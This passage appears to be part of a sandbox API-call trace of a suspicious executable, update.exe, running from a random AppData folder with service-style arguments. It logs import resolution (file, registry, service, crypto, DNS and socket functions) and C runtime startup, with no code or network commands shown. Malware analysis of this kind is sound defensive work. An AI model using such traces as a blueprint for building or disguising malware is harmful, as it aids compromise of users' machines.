returned 0x76e5bb71 [0125.901] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsA") returned 0x76e7ad1a [0125.901] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendW") returned 0x76e581ef [0125.901] GetProcAddress (hModule=0x76e40000, lpProcName="PathRemoveFileSpecW") returned 0x76e53248 [0125.901] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendA") returned 0x76e4d65e [0125.901] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsW") returned 0x76e545bf [0125.901] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x773e0000 [0125.901] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatW") returned 0x7740f481 [0125.901] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatW") returned 0x774134d7 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesW") returned 0x7747425f [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLCID") returned 0x773f3da5 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocale") returned 0x7740ce46 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoW") returned 0x773f3c42 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="GetCommandLineW") returned 0x773f5223 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileSize") returned 0x773f196e [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="FindFirstFileW") returned 0x773f4435 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointer") returned 0x773f17d1 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenA") returned 0x773f5a4b [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="SetErrorMode") returned 0x773f1b00 [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="CreateProcessW") returned 0x773f103d [0125.902] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryW") returned 0x773f4259 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForSingleObject") returned 0x773f1136 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalDrives") returned 0x773f5371 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="WriteFile") returned 0x773f1282 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="GetDriveTypeA") returned 0x7740ef75 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="OpenProcess") returned 0x773f1986 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalAlloc") returned 0x773f588e [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemDirectoryW") returned 0x773f5063 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="WideCharToMultiByte") returned 0x773f170d [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryW") returned 0x773f492b [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="Sleep") returned 0x773f10ff [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="CopyFileW") returned 0x7741830d [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="FormatMessageW") returned 0x773f4620 [0125.903] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpynW") returned 0x7741d556 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="ReadFile") returned 0x773f3ed3 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileW") returned 0x773f3f5c [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatA") returned 0x77412b7a [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcmpW") returned 0x773f5929 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="MultiByteToWideChar") returned 0x773f192e [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenW") returned 0x773f1700 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="GetLastError") returned 0x773f11c0 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="SetLastError") returned 0x773f11a9 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcAddress") returned 0x773f1222 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="MoveFileW") returned 0x77409af0 [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="LocalAlloc") returned 0x773f168c [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventW") returned 0x773f183e [0125.904] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatW") returned 0x7741828e [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="FindNextFileW") returned 0x773f54ee [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="CloseHandle") returned 0x773f1410 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteFileW") returned 0x773f89b3 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="LocalFree") returned 0x773f2d3c [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringW") returned 0x773f3bca [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="SetPriorityClass") returned 0x7740cf28 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcess") returned 0x773f1809 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GetComputerNameW") returned 0x773fdd0e [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GetExitCodeProcess") returned 0x7740174d [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleFileNameW") returned 0x773f4950 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalFree") returned 0x773f5558 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="CreateMutexA") returned 0x773f4c6b [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersion") returned 0x773f4467 [0125.905] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessId") returned 0x773f11f8 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThread") returned 0x773f34d5 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileA") returned 0x773f53c6 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryA") returned 0x7741d526 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyA") returned 0x77412a9d [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="FatalAppExitA") returned 0x77474691 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreW") returned 0x7740ca5a [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleW") returned 0x773f34b0 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount") returned 0x773f110c [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="TlsFree") returned 0x773f3587 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="TlsSetValue") returned 0x773f14fb [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="TlsGetValue") returned 0x773f11e0 [0125.906] GetProcAddress (hModule=0x773e0000, lpProcName="TlsAlloc") returned 0x773f49ad [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773f1916 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="SetUnhandledExceptionFilter") returned 0x773f87c9 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="UnhandledExceptionFilter") returned 0x7741772f [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="FreeEnvironmentStringsW") returned 0x773f51cb [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="GetEnvironmentStringsW") returned 0x773f51e3 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemTimeAsFileTime") returned 0x773f3509 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="QueryPerformanceCounter") returned 0x773f1725 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="GetStartupInfoW") returned 0x773f4d40 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteCriticalSection") returned 0x77ac45f5 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileType") returned 0x773f3531 [0125.907] GetProcAddress (hModule=0x773e0000, lpProcName="RaiseException") returned 0x773f58a6 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringW") returned 0x773f17b9 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleCP") returned 0x77497bff [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleMode") returned 0x773f1328 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointerEx") returned 0x7740c807 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="SetConsoleCtrlHandler") returned 0x773f8a09 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibrary") returned 0x773f34c8 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryExW") returned 0x773f495d [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="OutputDebugStringW") returned 0x7741d1d4 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="HeapReAlloc") returned 0x77ad1f6e [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="RtlUnwind") returned 0x7741d1c3 [0125.908] GetProcAddress (hModule=0x773e0000, lpProcName="SetStdHandle") returned 0x7747454f [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="HeapFree") returned 0x773f14c9 [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="HeapAlloc") returned 0x77abe026 [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="WriteConsoleW") returned 0x77417aca [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="FlushFileBuffers") returned 0x773f469b [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="GetStringTypeW") returned 0x773f1946 [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="LeaveCriticalSection") returned 0x77ab2270 [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="EnterCriticalSection") returned 0x77ab22b0 [0125.909] GetProcAddress (hModule=0x773e0000, lpProcName="HeapSize") returned 0x77ac3002 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetStdHandle") returned 0x773f51b3 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="AreFileApisANSI") returned 0x774740d1 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleExW") returned 0x773f4a6f [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="ExitProcess") returned 0x773f7a10 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcessHeap") returned 0x773f14e9 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThreadId") returned 0x773f1450 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThread") returned 0x773f17ec [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidCodePage") returned 0x773f4493 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetACP") returned 0x773f179c [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetOEMCP") returned 0x7741d1a1 [0125.910] GetProcAddress (hModule=0x773e0000, lpProcName="GetCPInfo") returned 0x773f5189 [0125.911] GetProcAddress (hModule=0x773e0000, lpProcName="IsDebuggerPresent") returned 0x773f4a5d [0125.911] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyW") returned 0x77413102 [0125.911] GetProcAddress (hModule=0x773e0000, lpProcName="IsProcessorFeaturePresent") returned 0x773f5235 [0125.911] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75e50000 [0125.911] GetProcAddress (hModule=0x75e50000, lpProcName="PostQuitMessage") returned 0x75e69abb [0125.911] GetProcAddress (hModule=0x75e50000, lpProcName="LoadCursorW") returned 0x75e688f7 [0125.911] GetProcAddress (hModule=0x75e50000, lpProcName="BeginPaint") returned 0x75e71361 [0125.911] GetProcAddress (hModule=0x75e50000, lpProcName="TranslateMessage") returned 0x75e67809 [0125.911] GetProcAddress (hModule=0x75e50000, lpProcName="RegisterClassExW") returned 0x75e6b17d [0125.911] GetProcAddress (hModule=0x75e50000, lpProcName="ShowWindow") returned 0x75e70dfb [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="IsWindow") returned 0x75e67136 [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="CreateWindowExW") returned 0x75e68a29 [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="UpdateWindow") returned 0x75e73559 [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="DefWindowProcW") returned 0x77ac25dd [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="PeekMessageW") returned 0x75e705ba [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="PostThreadMessageW") returned 0x75e68bff [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="MessageBoxW") returned 0x75ebfd3f [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="DispatchMessageW") returned 0x75e6787b [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="DestroyWindow") returned 0x75e69a55 [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="EndPaint") returned 0x75e71341 [0125.912] GetProcAddress (hModule=0x75e50000, lpProcName="SendMessageW") returned 0x75e69679 [0125.913] GetProcAddress (hModule=0x75e50000, lpProcName="GetMessageW") returned 0x75e678e2 [0125.913] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75720000 [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="CloseServiceHandle") returned 0x7573369c [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="CryptAcquireContextW") returned 0x7572df14 [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="GetUserNameW") returned 0x7573157a [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="CryptHashData") returned 0x7572df36 [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="RegSetValueExW") returned 0x757314d6 [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="RegCloseKey") returned 0x7573469d [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="CryptDestroyHash") returned 0x7572df66 [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="OpenSCManagerW") returned 0x7572ca64 [0125.913] GetProcAddress (hModule=0x75720000, lpProcName="OpenServiceW") returned 0x7572ca4c [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="ControlService") returned 0x75747144 [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="RegOpenKeyExW") returned 0x7573468d [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="CryptCreateHash") returned 0x7572df4e [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="QueryServiceStatus") returned 0x75732a86 [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="RegQueryValueExW") returned 0x757346ad [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="CryptReleaseContext") returned 0x7572e124 [0125.914] GetProcAddress (hModule=0x75720000, lpProcName="CryptGetHashParam") returned 0x7572df7e [0125.914] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fa0000 [0125.919] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetPathFromIDListW") returned 0x760317bf [0125.919] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7602e141 [0125.919] GetProcAddress (hModule=0x75fa0000, lpProcName="CommandLineToArgvW") returned 0x75fb9ee8 [0125.919] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteA") returned 0x761e7078 [0125.919] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteExW") returned 0x75fc1e46 [0125.919] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75810000 [0125.919] GetProcAddress (hModule=0x75810000, lpProcName="CoInitialize") returned 0x7582b636 [0125.919] GetProcAddress (hModule=0x75810000, lpProcName="CoInitializeSecurity") returned 0x75837259 [0125.920] GetProcAddress (hModule=0x75810000, lpProcName="CoUninitialize") returned 0x758586d3 [0125.920] GetProcAddress (hModule=0x75810000, lpProcName="CoCreateInstance") returned 0x75859d0b [0125.920] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x77000000 [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0xca) returned 0x7700fd6b [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0x2) returned 0x77004642 [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0x9) returned 0x77003eae [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0x8) returned 0x77003ed5 [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0x6) returned 0x77003e59 [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0xc8) returned 0x77003f21 [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0xc) returned 0x77005dee [0125.920] GetProcAddress (hModule=0x77000000, lpProcName=0xc9) returned 0x77004af8 [0125.920] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75320000 [0125.930] GetProcAddress (hModule=0x75320000, lpProcName="GetAdaptersInfo") returned 0x75329263 [0125.931] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x757d0000 [0125.932] GetProcAddress (hModule=0x757d0000, lpProcName=0xc) returned 0x757db131 [0125.932] GetProcAddress (hModule=0x757d0000, lpProcName=0xb) returned 0x757d311b [0125.932] GetProcAddress (hModule=0x757d0000, lpProcName=0x34) returned 0x757e7673 [0125.932] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x752c0000 [0125.935] GetProcAddress (hModule=0x752c0000, lpProcName="DnsFree") returned 0x752c436b [0125.935] GetProcAddress (hModule=0x752c0000, lpProcName="DnsQuery_W") returned 0x752d572c [0125.935] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x75200000 [0125.959] GetProcAddress (hModule=0x75200000, lpProcName="atexit") returned 0x7521c544 [0125.959] atexit (param_1=0x5b32ba) returned 0 [0125.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd4 | out: lpSystemTimeAsFileTime=0x18fdd4*(dwLowDateTime=0xd19114f0, dwHighDateTime=0x1d4800f)) [0125.959] GetCurrentThreadId () returned 0x4ac [0125.959] GetCurrentProcessId () returned 0x494 [0125.959] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdcc | out: lpPerformanceCount=0x18fdcc*=1809551500000) returned 1 [0125.959] GetStartupInfoW (in: lpStartupInfo=0x18fd64 | out: lpStartupInfo=0x18fd64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x773f1856, hStdOutput=0x77aafd35, hStdError=0x77b17daf)) [0125.960] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionEx") returned 0x773f4d28 [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventExW") returned 0x7747410b [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreExW") returned 0x77474195 [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadStackGuarantee") returned 0x773fd31f [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolTimer") returned 0x7740ee7e [0125.960] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolTimer") returned 0x77ad441c [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77afc50e [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolTimer") returned 0x77afc381 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolWait") returned 0x7740f088 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolWait") returned 0x77ae05d7 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolWait") returned 0x77afca24 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="FlushProcessWriteBuffers") returned 0x77ab0b8c [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77b6fde8 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessorNumber") returned 0x77b01e1d [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalProcessorInformation") returned 0x77474761 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSymbolicLinkW") returned 0x7746cd11 [0125.961] GetProcAddress (hModule=0x773e0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesEx") returned 0x7747424f [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringEx") returned 0x774746b1 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatEx") returned 0x77486676 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoEx") returned 0x77474751 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatEx") returned 0x774865f1 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLocaleName") returned 0x774747c1 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocaleName") returned 0x774747e1 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringEx") returned 0x774747f1 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentPackageId") returned 0x0 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount64") returned 0x7740eee0 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0125.962] GetProcAddress (hModule=0x773e0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0125.963] GetCurrentThreadId () returned 0x4ac [0125.963] GetStartupInfoW (in: lpStartupInfo=0x18fd34 | out: lpStartupInfo=0x18fd34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x415e4a, hStdOutput=0x81e937c6, hStdError=0x42f6de)) [0125.963] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0125.963] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0125.963] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0125.963] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0125.963] GetEnvironmentStringsW () returned 0x5fc1d8* [0125.963] FreeEnvironmentStringsW (penv=0x5fc1d8) returned 1 [0125.963] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44e1f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0125.965] GetLastError () returned 0x0 [0125.965] SetLastError (dwErrCode=0x0) [0125.965] GetLastError () returned 0x0 [0125.965] SetLastError (dwErrCode=0x0) [0125.965] GetLastError () returned 0x0 [0125.965] SetLastError (dwErrCode=0x0) [0125.965] GetACP () returned 0x4e4 [0125.965] GetLastError () returned 0x0 [0125.965] SetLastError (dwErrCode=0x0) [0125.965] IsValidCodePage (CodePage=0x4e4) returned 1 [0125.965] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd28 | out: lpCPInfo=0x18fd28) returned 1 [0125.965] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f7f0 | out: lpCPInfo=0x18f7f0) returned 1 [0125.965] GetLastError () returned 0x0 [0125.965] SetLastError (dwErrCode=0x0) [0125.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.965] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f804 | out: lpCharType=0x18f804) returned 1 [0125.965] GetLastError () returned 0x0 [0125.965] SetLastError (dwErrCode=0x0) [0125.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.965] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 